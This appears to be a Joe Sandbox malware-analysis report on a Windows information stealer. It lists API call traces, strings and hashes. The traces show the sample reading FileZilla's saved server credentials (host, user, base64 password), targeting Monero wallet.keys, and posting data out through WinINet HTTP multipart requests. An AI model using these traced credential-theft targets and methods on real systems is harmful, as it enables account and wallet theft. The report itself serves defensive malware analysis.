Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 4b9504b6d634eca670a59bb8f77a8ebe7f51b373478110d915de9a9f9b324770
Instruction ID: 143c67517e88da9b3d08bce2ffe60690d999bb1435dac291097a259cb437c0d4
Opcode Fuzzy Hash: 4b9504b6d634eca670a59bb8f77a8ebe7f51b373478110d915de9a9f9b324770
Instruction Fuzzy Hash: F9620BB5500204AFC36CDFA8EE889663BF9FF4C701754C52AE649C3264D7399843DB6A

Function 005E7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 005E7724
RtlAllocateHeap.NTDLL(00000000), ref: 005E772B
lstrcat.KERNEL32(?,016494C8), ref: 005E78DB
lstrcat.KERNEL32(?,?), ref: 005E78EF
lstrcat.KERNEL32(?,?), ref: 005E7903
lstrcat.KERNEL32(?,?), ref: 005E7917
lstrcat.KERNEL32(?,0164DD10), ref: 005E792B
lstrcat.KERNEL32(?,0164DCC8), ref: 005E793F
lstrcat.KERNEL32(?,0164DD88), ref: 005E7952
lstrcat.KERNEL32(?,0164DC20), ref: 005E7966
lstrcat.KERNEL32(?,0164DFD8), ref: 005E797A
lstrcat.KERNEL32(?,?), ref: 005E798E
lstrcat.KERNEL32(?,?), ref: 005E79A2
lstrcat.KERNEL32(?,?), ref: 005E79B6
lstrcat.KERNEL32(?,0164DD10), ref: 005E79C9
lstrcat.KERNEL32(?,0164DCC8), ref: 005E79DD
lstrcat.KERNEL32(?,0164DD88), ref: 005E79F1
lstrcat.KERNEL32(?,0164DC20), ref: 005E7A04
lstrcat.KERNEL32(?,0164E040), ref: 005E7A18
lstrcat.KERNEL32(?,?), ref: 005E7A2C
lstrcat.KERNEL32(?,?), ref: 005E7A40
lstrcat.KERNEL32(?,?), ref: 005E7A54
lstrcat.KERNEL32(?,0164DD10), ref: 005E7A68
lstrcat.KERNEL32(?,0164DCC8), ref: 005E7A7B
lstrcat.KERNEL32(?,0164DD88), ref: 005E7A8F
lstrcat.KERNEL32(?,0164DC20), ref: 005E7AA3
lstrcat.KERNEL32(?,0164E0A8), ref: 005E7AB6
lstrcat.KERNEL32(?,?), ref: 005E7ACA
lstrcat.KERNEL32(?,?), ref: 005E7ADE
lstrcat.KERNEL32(?,?), ref: 005E7AF2
lstrcat.KERNEL32(?,0164DD10), ref: 005E7B06
lstrcat.KERNEL32(?,0164DCC8), ref: 005E7B1A
lstrcat.KERNEL32(?,0164DD88), ref: 005E7B2D
lstrcat.KERNEL32(?,0164DC20), ref: 005E7B41
lstrcat.KERNEL32(?,0164E110), ref: 005E7B55
lstrcat.KERNEL32(?,?), ref: 005E7B69
lstrcat.KERNEL32(?,?), ref: 005E7B7D
lstrcat.KERNEL32(?,?), ref: 005E7B91
lstrcat.KERNEL32(?,0164DD10), ref: 005E7BA4
lstrcat.KERNEL32(?,0164DCC8), ref: 005E7BB8
lstrcat.KERNEL32(?,0164DD88), ref: 005E7BCC
lstrcat.KERNEL32(?,0164DC20), ref: 005E7BDF
lstrcat.KERNEL32(?,0164E178), ref: 005E7BF3
lstrcat.KERNEL32(?,?), ref: 005E7C07
lstrcat.KERNEL32(?,?), ref: 005E7C1B
lstrcat.KERNEL32(?,?), ref: 005E7C2F
lstrcat.KERNEL32(?,0164DD10), ref: 005E7C43
lstrcat.KERNEL32(?,0164DCC8), ref: 005E7C56
lstrcat.KERNEL32(?,0164DD88), ref: 005E7C6A
lstrcat.KERNEL32(?,0164DC20), ref: 005E7C7E

Part of subcall function 005E75D0: lstrcat.KERNEL32(35C7C020,006017FC), ref: 005E7606
Part of subcall function 005E75D0: lstrcat.KERNEL32(35C7C020,00000000), ref: 005E7648
Part of subcall function 005E75D0: lstrcat.KERNEL32(35C7C020, : ), ref: 005E765A
Part of subcall function 005E75D0: lstrcat.KERNEL32(35C7C020,00000000), ref: 005E768F
Part of subcall function 005E75D0: lstrcat.KERNEL32(35C7C020,00601804), ref: 005E76A0
Part of subcall function 005E75D0: lstrcat.KERNEL32(35C7C020,00000000), ref: 005E76D3
Part of subcall function 005E75D0: lstrcat.KERNEL32(35C7C020,00601808), ref: 005E76ED
Part of subcall function 005E75D0: task.LIBCPMTD ref: 005E76FB

lstrcat.KERNEL32(?,0164E300), ref: 005E7E0B
lstrcat.KERNEL32(?,0164D698), ref: 005E7E1E
lstrlen.KERNEL32(35C7C020), ref: 005E7E2B
lstrlen.KERNEL32(35C7C020), ref: 005E7E3B

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 52f44042b5af584ec3c4442a12c0481819d8bcbfafd237031bf1bdba5e187271
Instruction ID: 37a875e2fd09244f34a29ae17a6da1bd757bf1130f53bf612b6dae88a3843f03
Opcode Fuzzy Hash: 52f44042b5af584ec3c4442a12c0481819d8bcbfafd237031bf1bdba5e187271
Instruction Fuzzy Hash: 113203B6D00319ABCB29EBA0DC89DEA777DBF48700F444A99F31962090DE74E7468F51

Function 005F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00600DBA,00600DB7,00600DB6,00600DB3), ref: 005F0362
RtlAllocateHeap.NTDLL(00000000), ref: 005F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 005F0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005F03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 005F0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 005F0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 005F0562
lstrcat.KERNEL32(?,profile: null), ref: 005F0571
lstrcat.KERNEL32(?,url: ), ref: 005F0580
lstrcat.KERNEL32(?,00000000), ref: 005F0593
lstrcat.KERNEL32(?,00601678), ref: 005F05A2
lstrcat.KERNEL32(?,00000000), ref: 005F05B5
lstrcat.KERNEL32(?,0060167C), ref: 005F05C4
lstrcat.KERNEL32(?,login: ), ref: 005F05D3
lstrcat.KERNEL32(?,00000000), ref: 005F05E6
lstrcat.KERNEL32(?,00601688), ref: 005F05F5
lstrcat.KERNEL32(?,password: ), ref: 005F0604
lstrcat.KERNEL32(?,00000000), ref: 005F0617
lstrcat.KERNEL32(?,00601698), ref: 005F0626
lstrcat.KERNEL32(?,0060169C), ref: 005F0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00600DB2), ref: 005F068E

Strings

<Port>, xrefs: 005F03C6
<User>, xrefs: 005F0410
password: , xrefs: 005F05FB
<Host>, xrefs: 005F037C
login: , xrefs: 005F05CA
browser: FileZilla, xrefs: 005F0559
<Pass encoding="base64">, xrefs: 005F045A
profile: null, xrefs: 005F0568
url: , xrefs: 005F0577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005F02A4

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 5051553dc422086ab268850bb86ed6ea40d81a7a0a3643bebce5008b58466817
Instruction ID: 10c91d022bf9bb88188c86f3a38ce1b7b165a03c98f39c203e38be5a9c602535
Opcode Fuzzy Hash: 5051553dc422086ab268850bb86ed6ea40d81a7a0a3643bebce5008b58466817
Instruction Fuzzy Hash: A2D123B191010DABCB08EBF0DD5ADFE7B79BF54300F548418F606A6095DE78AA06CB62

Function 005E5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

lstrlen.KERNEL32(00000000), ref: 005E5193

Part of subcall function 005F8EA0: CryptBinaryToStringA.CRYPT32(00000000,005E5184,40000001,00000000,00000000,?,005E5184), ref: 005F8EC0

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005E5207
StrCmpCA.SHLWAPI(?,0164E390), ref: 005E5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E5340
HttpOpenRequestA.WININET(00000000,0164E310,?,0164DDD0,00000000,00000000,00400100,00000000), ref: 005E53A4

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0164E270,00000000,?,01649A68,00000000,?,006019DC,00000000,?,005F51CF), ref: 005E5737
lstrlen.KERNEL32(00000000), ref: 005E574B
GetProcessHeap.KERNEL32(00000000,?), ref: 005E575C
RtlAllocateHeap.NTDLL(00000000), ref: 005E5763
lstrlen.KERNEL32(00000000), ref: 005E5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005E57A9
lstrlen.KERNEL32(00000000), ref: 005E57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005E57E1
lstrlen.KERNEL32(00000000,?,?), ref: 005E580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005E5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005E584D
InternetCloseHandle.WININET(00000000), ref: 005E58B1
InternetCloseHandle.WININET(00000000), ref: 005E58BE
InternetCloseHandle.WININET(00000000), ref: 005E58C8

Strings

", xrefs: 005E55C4
", xrefs: 005E5482
------, xrefs: 005E5297
------, xrefs: 005E563B
------, xrefs: 005E54F9
", xrefs: 005E5706
------, xrefs: 005E53B7
--, xrefs: 005E5280

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: cb38fddc08ff9ca9cdc801f202a77cfabda855a2b5c5bbfc33267a08420ebb3b
Instruction ID: 91252faa1a988b67dfb2b84c608b4d70b2cc96913a771393867f5e1854a7bdf0
Opcode Fuzzy Hash: cb38fddc08ff9ca9cdc801f202a77cfabda855a2b5c5bbfc33267a08420ebb3b
Instruction Fuzzy Hash: 523243B291011DABDB18EBA0DC99FFE7778BF94740F404169B20A63091EF746A49CF52

Function 005EA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FAA70: StrCmpCA.SHLWAPI(01648820,005EA7A7,?,005EA7A7,01648820), ref: 005FAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005EAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 005EAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 005EABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005EA8B0

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

lstrcat.KERNEL32(?,00000000), ref: 005EACEB
lstrcat.KERNEL32(?,00601320), ref: 005EACFA
lstrcat.KERNEL32(?,00000000), ref: 005EAD0D
lstrcat.KERNEL32(?,00601324), ref: 005EAD1C
lstrcat.KERNEL32(?,00000000), ref: 005EAD2F
lstrcat.KERNEL32(?,00601328), ref: 005EAD3E
lstrcat.KERNEL32(?,00000000), ref: 005EAD51
lstrcat.KERNEL32(?,0060132C), ref: 005EAD60
lstrcat.KERNEL32(?,00000000), ref: 005EAD73
lstrcat.KERNEL32(?,00601330), ref: 005EAD82
lstrcat.KERNEL32(?,00000000), ref: 005EAD95
lstrcat.KERNEL32(?,00601334), ref: 005EADA4
lstrcat.KERNEL32(?,00000000), ref: 005EADB7
lstrlen.KERNEL32(?), ref: 005EAE0D
lstrlen.KERNEL32(?), ref: 005EAE1C

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

DeleteFileA.KERNEL32(00000000), ref: 005EAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 005EABD4

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

